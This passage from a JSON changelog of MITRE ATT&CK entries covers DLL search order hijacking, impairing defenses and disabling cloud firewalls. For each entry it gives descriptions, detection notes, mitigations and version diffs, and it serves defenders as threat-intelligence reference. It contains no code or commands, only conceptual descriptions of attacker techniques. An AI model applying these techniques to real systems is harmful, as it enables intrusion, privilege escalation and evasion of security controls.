DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nPhantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "persistence" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + }, + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1574/001", + "external_id": "T1574.001" + }, + { + "source_name": "Adversaries Hijack DLLs", + "description": "CrowdStrike, Falcon OverWatch Team. (2022, December 30). Retrieved October 19, 2023.", + "url": "https://www.crowdstrike.com/blog/4-ways-adversaries-hijack-dlls/" + }, + { + "source_name": "FireEye Hijacking July 2010", + "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html" + }, + { + "source_name": "FireEye fxsst June 2011", + "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html" + }, + { + "source_name": "Hexacorn DLL Hijacking", + "description": "Hexacorn. (2013, December 8). Beyond good ol\u2019 Run key, Part 5. Retrieved August 14, 2024.", + "url": "https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/" + }, + { + "source_name": "Microsoft Security Advisory 2269637", + "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637" + }, + { + "source_name": "Microsoft Dynamic-Link Library Redirection", + "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020.", + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft Dynamic Link Library Search Order", + "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014.", + "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN" + }, + { + "source_name": "Microsoft Manifests", + "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", + "url": "https://msdn.microsoft.com/en-US/library/aa375365" + }, + { + "source_name": "FireEye DLL Search Order Hijacking", + "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020.", + "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html" + }, + { + "source_name": "OWASP Binary Planting", + "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", + "url": "https://www.owasp.org/index.php/Binary_planting" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Travis Smith, Tripwire", + "Stefan Kanthak", + "Marina Liang", + "Ami Holeston, CrowdStrike", + "Will Alexander, CrowdStrike" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Module: Module Load", + "File: File Creation" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-09-30 17:32:59.948000+00:00\", \"old_value\": \"2024-04-28 15:51:58.945000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\\n\\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\\n\\nPhantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\\n\\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\\n\\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\", \"old_value\": \"Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\\n\\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\\n\\nPhantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\\n\\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\\n\\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.\", \"diff\": \"--- \\n+++ \\n@@ -2,7 +2,7 @@\\n \\n There are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\\n \\n-Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\\n+Phantom DLL hijacking is a specific type of DLL search order hijacking where adversaries target references to non-existent DLL files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversaries Hijack DLLs) They may be able to load their own malicious DLL by planting it with the correct name in the location of the missing module.\\n \\n Adversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\\n \"}, \"root['x_mitre_version']\": {\"new_value\": \"1.3\", \"old_value\": \"1.2\"}}, \"iterable_item_added\": {\"root['external_references'][4]\": {\"source_name\": \"Hexacorn DLL Hijacking\", \"description\": \"Hexacorn. (2013, December 8). Beyond good ol\\u2019 Run key, Part 5. Retrieved August 14, 2024.\", \"url\": \"https://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/\"}}}", + "previous_version": "1.2", + "version_change": "1.2 \u2192 1.3", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may execute their own malicious payloads by hijat1Adversaries may execute their own malicious payloads by hija
>cking the search order used to load DLLs. Windows systems us>cking the search order used to load DLLs. Windows systems us
>e a common method to look for required DLLs to load into a p>e a common method to look for required DLLs to load into a p
>rogram. (Citation: Microsoft Dynamic Link Library Search Ord>rogram. (Citation: Microsoft Dynamic Link Library Search Ord
>er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa>er)(Citation: FireEye Hijacking July 2010) Hijacking DLL loa
>ds may be for the purpose of establishing persistence as wel>ds may be for the purpose of establishing persistence as wel
>l as elevating privileges and/or evading restrictions on fil>l as elevating privileges and/or evading restrictions on fil
>e execution.  There are many ways an adversary can hijack DL>e execution.  There are many ways an adversary can hijack DL
>L loads. Adversaries may plant trojan dynamic-link library f>L loads. Adversaries may plant trojan dynamic-link library f
>iles (DLLs) in a directory that will be searched before the >iles (DLLs) in a directory that will be searched before the 
>location of a legitimate library that will be requested by a>location of a legitimate library that will be requested by a
> program, causing Windows to load their malicious library wh> program, causing Windows to load their malicious library wh
>en it is called for by the victim program. Adversaries may a>en it is called for by the victim program. Adversaries may a
>lso perform DLL preloading, also called binary planting atta>lso perform DLL preloading, also called binary planting atta
>cks, (Citation: OWASP Binary Planting) by placing a maliciou>cks, (Citation: OWASP Binary Planting) by placing a maliciou
>s DLL with the same name as an ambiguously specified DLL in >s DLL with the same name as an ambiguously specified DLL in 
>a location that Windows searches before the legitimate DLL. >a location that Windows searches before the legitimate DLL. 
>Often this location is the current working directory of the >Often this location is the current working directory of the 
>program.(Citation: FireEye fxsst June 2011) Remote DLL prelo>program.(Citation: FireEye fxsst June 2011) Remote DLL prelo
>ading attacks occur when a program sets its current director>ading attacks occur when a program sets its current director
>y to a remote location such as a Web share before loading a >y to a remote location such as a Web share before loading a 
>DLL. (Citation: Microsoft Security Advisory 2269637)  Phanto>DLL. (Citation: Microsoft Security Advisory 2269637)  Phanto
>m DLL hijacking is a specific type of DLL search order hijac>m DLL hijacking is a specific type of DLL search order hijac
>king where adversaries target references to non-existent DLL>king where adversaries target references to non-existent DLL
> files.(Citation: Adversaries Hijack DLLs) They may be able > files.(Citation: Hexacorn DLL Hijacking)(Citation: Adversar
>to load their own malicious DLL by planting it with the corr>ies Hijack DLLs) They may be able to load their own maliciou
>ect name in the location of the missing module.  Adversaries>s DLL by planting it with the correct name in the location o
> may also directly modify the search order via DLL redirecti>f the missing module.  Adversaries may also directly modify 
>on, which after being enabled (in the Registry and creation >the search order via DLL redirection, which after being enab
>of a redirection file) may cause a program to load a differe>led (in the Registry and creation of a redirection file) may
>nt DLL.(Citation: Microsoft Dynamic-Link Library Redirection> cause a program to load a different DLL.(Citation: Microsof
>)(Citation: Microsoft Manifests)(Citation: FireEye DLL Searc>t Dynamic-Link Library Redirection)(Citation: Microsoft Mani
>h Order Hijacking)  If a search order-vulnerable program is >fests)(Citation: FireEye DLL Search Order Hijacking)  If a s
>configured to run at a higher privilege level, then the adve>earch order-vulnerable program is configured to run at a hig
>rsary-controlled DLL that is loaded will also be executed at>her privilege level, then the adversary-controlled DLL that 
> the higher level. In this case, the technique could be used>is loaded will also be executed at the higher level. In this
> for privilege escalation from user to administrator or SYST> case, the technique could be used for privilege escalation 
>EM or from administrator to SYSTEM, depending on the program>from user to administrator or SYSTEM or from administrator t
>. Programs that fall victim to path hijacking may appear to >o SYSTEM, depending on the program. Programs that fall victi
>behave normally because malicious DLLs may be configured to >m to path hijacking may appear to behave normally because ma
>also load the legitimate DLLs they were meant to replace.>licious DLLs may be configured to also load the legitimate D
 >LLs they were meant to replace.
", + "changelog_mitigations": { + "shared": [ + "M1038: Execution Prevention", + "M1044: Restrict Library Loading", + "M1047: Audit" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0011: Module (Module Load)", + "DS0022: File (File Creation)", + "DS0022: File (File Modification)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-02-21 20:22:13.470000+00:00", + "modified": "2024-10-14 22:11:30.271000+00:00", + "name": "Impair Defenses", + "description": "Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\n\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\n\n", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562", + "external_id": "T1562" + }, + { + "source_name": "Google Cloud Mandiant UNC3886 2024", + "description": " Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.", + "url": "https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations" + }, + { + "source_name": "Emotet shutdown", + "description": "The DFIR Report. (2022, November 8). Emotet Strikes Again \u2013 LNK File Leads to Domain Wide Ransomware. Retrieved March 6, 2023.", + "url": "https://thedfirreport.com/2022/11/28/emotet-strikes-again-lnk-file-leads-to-domain-wide-ransomware/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Jamie Williams (U \u03c9 U), PANW Unit 42", + "Liran Ravich, CardinalOps" + ], + "x_mitre_data_sources": [ + "File: File Modification", + "Cloud Service: Cloud Service Disable", + "Firewall: Firewall Rule Modification", + "Command: Command Execution", + "Script: Script Execution", + "Process: Process Modification", + "Windows Registry: Windows Registry Key Deletion", + "Process: Process Termination", + "Service: Service Metadata", + "Cloud Service: Cloud Service Modification", + "User Account: User Account Modification", + "File: File Deletion", + "Sensor Health: Host Status", + "Process: OS API Execution", + "Process: Process Creation", + "Windows Registry: Windows Registry Key Modification", + "Driver: Driver Load", + "Firewall: Firewall Disable" + ], + "x_mitre_defense_bypassed": [ + "Anti-virus", + "Signature-based detection", + "Host intrusion prevention systems", + "File monitoring", + "Digital Certificate Validation", + "Host forensic analysis", + "Log analysis", + "Firewall" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor processes and command-line arguments to see if security tools or logging services are killed or stop running. Monitor Registry edits for modifications to services and startup programs that correspond to security tools. Lack of log events may be suspicious.\n\nMonitor environment variables and APIs that can be leveraged to disable security measures.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": false, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "Windows", + "IaaS", + "Linux", + "macOS", + "Containers", + "Network", + "Identity Provider", + "Office Suite" + ], + "x_mitre_version": "1.6", + "detailed_diff": "{\"dictionary_item_added\": {\"root['x_mitre_contributors']\": [\"Jamie Williams (U \\u03c9 U), PANW Unit 42\", \"Liran Ravich, CardinalOps\"]}, \"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-14 22:11:30.271000+00:00\", \"old_value\": \"2023-10-20 16:43:53.391000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\\n\\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\\n\\n\", \"old_value\": \"Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\\n\\nAdversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)\\n\\nAdversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,4 @@\\n Adversaries may maliciously modify components of a victim environment in order to hinder or disable defensive mechanisms. This not only involves impairing preventative defenses, such as firewalls and anti-virus, but also detection capabilities that defenders can use to audit activity and identify malicious behavior. This may also span both native defenses as well as supplemental capabilities installed by users and administrators.\\n \\n-Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out of a computer or stopping it from being shut down. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Emotet shutdown)\\n+Adversaries may also impair routine operations that contribute to defensive hygiene, such as blocking users from logging out, preventing a system from shutting down, or disabling or modifying the update process. Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components. These restrictions can further enable malicious operations as well as the continued propagation of incidents.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation: Emotet shutdown)\\n \\n-Adversaries could also target event aggregation and analysis mechanisms, or otherwise disrupt these procedures by altering other system components.\"}, \"root['x_mitre_version']\": {\"new_value\": \"1.6\", \"old_value\": \"1.5\"}}, \"iterable_item_added\": {\"root['external_references'][1]\": {\"source_name\": \"Google Cloud Mandiant UNC3886 2024\", \"description\": \" Punsaen Boonyakarn, Shawn Chew, Logeswaran Nadarajan, Mathew Potaczek, Jakub Jozwiak, and Alex Marvi. (2024, June 18). Cloaked and Covert: Uncovering UNC3886 Espionage Operations. Retrieved September 24, 2024.\", \"url\": \"https://cloud.google.com/blog/topics/threat-intelligence/uncovering-unc3886-espionage-operations\"}, \"root['x_mitre_platforms'][6]\": \"Identity Provider\", \"root['x_mitre_platforms'][7]\": \"Office Suite\"}, \"iterable_item_removed\": {\"root['x_mitre_platforms'][1]\": \"Office 365\"}}", + "previous_version": "1.5", + "version_change": "1.5 \u2192 1.6", + "description_change_table": "\n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n \n

Old Description
New Description
t1Adversaries may maliciously modify components of a victim ent1Adversaries may maliciously modify components of a victim en
>vironment in order to hinder or disable defensive mechanisms>vironment in order to hinder or disable defensive mechanisms
>. This not only involves impairing preventative defenses, su>. This not only involves impairing preventative defenses, su
>ch as firewalls and anti-virus, but also detection capabilit>ch as firewalls and anti-virus, but also detection capabilit
>ies that defenders can use to audit activity and identify ma>ies that defenders can use to audit activity and identify ma
>licious behavior. This may also span both native defenses as>licious behavior. This may also span both native defenses as
> well as supplemental capabilities installed by users and ad> well as supplemental capabilities installed by users and ad
>ministrators.  Adversaries may also impair routine operation>ministrators.  Adversaries may also impair routine operation
>s that contribute to defensive hygiene, such as blocking use>s that contribute to defensive hygiene, such as blocking use
>rs from logging out of a computer or stopping it from being >rs from logging out, preventing a system from shutting down,
>shut down. These restrictions can further enable malicious o> or disabling or modifying the update process. Adversaries c
>perations as well as the continued propagation of incidents.>ould also target event aggregation and analysis mechanisms, 
>(Citation: Emotet shutdown)  Adversaries could also target e>or otherwise disrupt these procedures by altering other syst
>vent aggregation and analysis mechanisms, or otherwise disru>em components. These restrictions can further enable malicio
>pt these procedures by altering other system components.>us operations as well as the continued propagation of incide
 >nts.(Citation: Google Cloud Mandiant UNC3886 2024)(Citation:
 > Emotet shutdown)  
", + "changelog_mitigations": { + "shared": [ + "M1018: User Account Management", + "M1022: Restrict File and Directory Permissions", + "M1024: Restrict Registry Permissions", + "M1038: Execution Prevention", + "M1047: Audit", + "M1054: Software Configuration" + ], + "new": [], + "dropped": [] + }, + "changelog_detections": { + "shared": [ + "DS0002: User Account (User Account Modification)", + "DS0009: Process (OS API Execution)", + "DS0009: Process (Process Creation)", + "DS0009: Process (Process Modification)", + "DS0009: Process (Process Termination)", + "DS0012: Script (Script Execution)", + "DS0013: Sensor Health (Host Status)", + "DS0017: Command (Command Execution)", + "DS0018: Firewall (Firewall Disable)", + "DS0018: Firewall (Firewall Rule Modification)", + "DS0019: Service (Service Metadata)", + "DS0022: File (File Deletion)", + "DS0022: File (File Modification)", + "DS0024: Windows Registry (Windows Registry Key Deletion)", + "DS0024: Windows Registry (Windows Registry Key Modification)", + "DS0025: Cloud Service (Cloud Service Disable)", + "DS0025: Cloud Service (Cloud Service Modification)", + "DS0027: Driver (Driver Load)" + ], + "new": [], + "dropped": [] + } + }, + { + "type": "attack-pattern", + "id": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2020-06-24 16:55:46.243000+00:00", + "modified": "2024-10-16 19:38:57.374000+00:00", + "name": "Disable or Modify Cloud Firewall", + "description": "Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \n\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\n\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). ", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "revoked": false, + "external_references": [ + { + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/techniques/T1562/007", + "external_id": "T1562.007" + }, + { + "source_name": "Expel IO Evil in AWS", + "description": "A. Randazzo, B. Manahan and S. Lipton. (2020, April 28). Finding Evil in AWS. Retrieved June 25, 2020.", + "url": "https://expel.io/blog/finding-evil-in-aws/" + }, + { + "source_name": "Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022", + "description": "Dror Alon. (2022, December 8). Compromised Cloud Compute Credentials: Case Studies From the Wild. Retrieved March 9, 2023.", + "url": "https://unit42.paloaltonetworks.com/compromised-cloud-compute-credentials/" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_attack_spec_version": "3.2.0", + "x_mitre_contributors": [ + "Expel", + "Arun Seelagan, CISA" + ], + "x_mitre_data_sources": [ + "Firewall: Firewall Disable", + "Firewall: Firewall Rule Modification" + ], + "x_mitre_deprecated": false, + "x_mitre_detection": "Monitor cloud logs for modification or creation of new security groups or firewall rules.", + "x_mitre_domains": [ + "enterprise-attack" + ], + "x_mitre_is_subtechnique": true, + "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "x_mitre_platforms": [ + "IaaS" + ], + "x_mitre_version": "1.3", + "detailed_diff": "{\"values_changed\": {\"root['modified']\": {\"new_value\": \"2024-10-16 19:38:57.374000+00:00\", \"old_value\": \"2023-04-15 00:25:36.502000+00:00\"}, \"root['description']\": {\"new_value\": \"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \\n\\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n\\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed. It may also be used to open up resources for [Brute Force](https://attack.mitre.org/techniques/T1110) or [Endpoint Denial of Service](https://attack.mitre.org/techniques/T1499). \", \"old_value\": \"Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \\n\\nCloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n\\nModifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.\", \"diff\": \"--- \\n+++ \\n@@ -1,5 +1,5 @@\\n Adversaries may disable or modify a firewall within a cloud environment to bypass controls that limit access to cloud resources. Cloud firewalls are separate from system firewalls that are described in [Disable or Modify System Firewall](https://attack.mitre.org/techniques/T1562/004). \\n \\n-Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary may introduce new firewall rules or policies to allow access into a victim cloud environment. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups to allow any TCP/IP connectivity, or remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n+Cloud environments typically utilize restrictive security groups and firewall rules that only allow network activity from trusted IP addresses via expected ports and protocols. An adversary with appropriate permissions may introduce new firewall rules or policies to allow access into a victim cloud environment and/or move laterally from the cloud control plane to the data plane. For example, an adversary may use a script or utility that creates new ingress rules in existing security groups (or creates new security groups entirely) to allow any TCP/IP connectivity to a cloud-hosted instance.(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022) They may also remove networking limitations to support traffic associated with malicious activity (such as cryptomining).(Citation: Expel IO Evil in AWS)(Citation: Palo Alto Unit 42 Compromised Cloud Compute Credentials 2022)\\n \\n-Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be allowed.\\n+Modifying or disabling a cloud firewall may enable adversary C2 communications, lateral movement, and/or data exfiltration that would otherwise not be 